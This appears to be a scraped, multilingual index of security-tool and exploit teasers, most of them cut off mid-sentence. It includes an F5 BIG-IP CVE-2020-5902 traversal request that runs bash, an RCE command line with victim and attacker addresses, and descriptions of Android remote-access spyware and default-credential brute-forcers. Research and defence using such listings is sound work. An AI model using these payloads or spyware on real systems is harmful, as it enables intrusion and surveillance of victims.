CVE-2020-5903

CVE-2020-5902 RCE /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...

CVE-2023-37755---Hardcoded-Admin-Credential-in-i-doit-Pro-25-and-below

CVE-2023-37755 - i-doit Pro 25 以下におけるハードコードされた管理者認証情報 i-doit Pro 25 以下には、ハードコードされた管理者認証情報の脆弱性があります。これらの脆弱性により、ユーザー名“admin”、パスワード“admin”だけで誰でも管理者としてログインできてしまいます。 製品の説明: i-doit は、synetics GmbH によって開発された、Web ベースのオープンソース IT ドキュメントおよび CMDB（構成管理データベース）です。i-doit Pro...

EyeWitness

EyeWitness EyeWitness предназначен для создания скриншотов веб-сайтов, предоставления информации о заголовках сервера и определения учётных данных по умолчанию, если они известны. EyeWitness предназначен для работы в Kali Linux. Он автоматически определяет тип файла, переданного с флагом -f:...

CVE-2017-8225

CVE-2017-8225 Python3 설치 root@kitploit: apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 설치: root@kitploit: git clone https://github.com/kienquoc102/CVE-2017-8225.git 익스플로잇 코드: root@kitploit: cd CVE-2017-8225 python3 scanip.py 텍스트 파일 .txt 예시:...

moukthar

Moukthar 안드로이드용 원격 관리 도구 데모 기능 권한 우회 안드로이드 12 이하 키로거 알림 리스너 SMS 리스너 통화 녹음 이미지 캡처 및 스크린샷 비디오 녹화 지속성 연락처 읽기 및 쓰기 설치된 애플리케이션 목록 파일 다운로드 및 업로드 기기 위치 확인 설치 리포지토리 클론 root@kitploit: git clone https://github.com/Tomiwa-Ot/moukthar.git PHP, Composer, MySQL, php-mysql 드라이버, Apache2, a2enmod 설치 서버 파일을...

CVE-2020-25749

CVE-2020-25749 Предлагаемое описание Сервис Telnet камер Rubetek RV-3406, RV-3409 и RV-3411 версии прошивки v342, v339 может позволить удаленному злоумышленнику получить полный контроль над устройством с помощью учетной записи с высокими привилегиями. Уязвимость существует из-за того, что системн...

CVE-2018-18852

CERIO 라우터 인증된 RCE 백도어 벤더 자격 증명 CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, 트위터 @hooks3c CVE-2018-18852에 대한 동작하는 Python PoC로, 원래 다음에 공개되었습니다; https://github.com/hook-s3c/CVE-2018-18852 개요 CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다. 공개되지 않은 0day 권...

scan_CVE-2020-29583

针对存在未记录用户帐户漏洞的 Zyxel 产品的扫描器（CVE-2020-29583） 漏洞详情：https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html （但我不确定是否真的可以通过 Web 界面使用 zyfwp 登录？如有任何相关信息，将不胜感激。另外，“受影响设备完整列表”的链接中没有包含 NXC2500 和 NXC5500。） 通过 index.html 中的特定字符串来确定存在漏洞的版本，例如 v=200406233228 表示存在漏洞的...

rpi-hunter

rpi-hunter LAN에 있는 Raspberry Pi를 SSH를 통해 자동으로 발견하고 페이로드를 전달합니다. 또는 솔직한 제목: sshpass를 이용한 명령 전달 자동화. Rpi-hunter는 LAN에 기본 또는 알려진 자격 증명을 가진 여러 Raspberry Pi가 있을 때 명령/페이로드를 자동으로 전송하는 데 유용합니다. 가이드: 설치 1. 종속성 설치: sudo pip install -U argparse termcolor 및 sudo apt -y install arp-scan tshark sshpass 2...

url-tracker

URL Tracker v0.5.0 URL Tracker — это надёжное и масштабируемое веб-приложение, предназначенное для мониторинга и отслеживания URL, логирования изменений и предоставления подробной информации о статусе и поведении различных веб-ресурсов. Построенное на базе Sails.js, это приложение идеально подход...

brutespray

Brutespray Created by: Shane Young/@x90sky && Jacob Robles/@shellfail Inspired by: Leon Johnson/@sho-luv Description Brutespray automatically attempts default credentials on discovered services. It takes scan output from Nmap GNMAP/XML, Nessus, Nexpose, JSON, and lists, then brute-forces...

EyeWitness

EyeWitness - 웹 스크린샷 도구 EyeWitness는 웹사이트의 스크린샷을 찍고, 서버 헤더 정보를 제공하며, 알려진 기본 자격 증명을 식별하도록 설계되었습니다. 이제 Chromium 브라우저를 기반으로 더 나은 안정성과 쉬운 설치를 지원합니다. 🚀 주요 기능 크로스 플랫폼 지원 - Windows, Linux, macOS Chromium 기반 - Google Chrome/Chromium으로 안정적인 헤드리스 스크린샷 적응형 리소스 관리 - 시스템 성능에 따라 자동 조정 설정 파일 지원 - 선호하는 설정 저장 URL...

motioneye-authenticated-RCE

MotionEye/MotionEyeOS 認証済みRCE MotionEyeにRCEを可能にするtasks.pickleファイルをアップロードするPython 3スクリプトです。管理者資格情報が必要なので、それほど大した問題ではないはずです。残念ながら、MotionEye/MotionEyeOSはデフォルトの資格情報で実行されていることがよくあります。 例: root@kitploit: main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444...

frevvomapexec

frevvomapexec frevvomapexec — это скрипт для проверки наличия слепой SQL-инъекции путём внедрения задержки в секундах в Square 9 GlobalForms 6.2. Чтобы убедиться, что уязвимость реальна, конечному пользователю потребуется выполнить математическое вычисление например, вычесть меньшее число из...

DefaultCreds-cheat-sheet

Шпаргалка с учетными данными по умолчанию Единое место для всех учетных данных по умолчанию, помогающее пентестерам/синим командам во время работ, с информацией о логинах и паролях по умолчанию для различных продуктов из нескольких источников. P.S: Большинство учетных данных были извлечены из...

Wordpress-Default-Password

Wordpress 기본 U/P python 2.7 기부 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614 Azim이 암호화함 !...

RedHunt-OS

RedHunt Linux Distribution VM v2 Виртуальная машина для эмуляции противника и охоты за угрозами от RedHunt Labs RedHunt OS стремится быть универсальным решением для всех ваших потребностей в эмуляции угроз и охоте за ними, объединяя арсенал атакующего и инструментарий защитника для активного...

XploitSPY

Облачный инструмент мониторинга Android на базе NodeJS Возможности Журнал GPS Запись микрофона Просмотр контактов Журналы SMS Отправка SMS Журналы звонков Просмотр установленных приложений Просмотр разрешений заглушки Журнал буфера обмена в реальном времени Журнал уведомлений в реальном времени...

CVE-2023-26258-ArcServe

TL;DR; 네트워크 내에 있다면 ArcServeRadar.py를 사용하여 기본 설정된 인스턴스를 스캔할 수 있습니다. C으로 포팅하려고 했지만 실패했습니다. 방법을 아신다면 자유롭게 해보세요 : root@kitploit: c:\Users\vagrant\Desktoppython ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20 -= ArcServe Finder - @TheXC3LL - MDSec =- Starting to monitor Broadcasting WARNING: Mac...

CVE-2022-41678

CVE-2022-41678：Apache ActiveMQ 中可通过 Jolokia API 访问的危险 MBean 通过枚举并检查在 http://127.0.0.1:8161/api/jolokia 处由 Jolokia API 暴露的 MBean，已识别出以下攻击向量： 使用 Log4J 进行任意文件写入，从而导致远程代码执行 使用 Log4J 进行任意文件读取 使用 Log4J 进行 SSRF 使用 Java Flight Recorder 进行任意文件覆盖（正如 threatbook.cn 团队所发现的，通过 JFR 也可实现 RCE） 本地攻击者只要知道 ActiveMQ...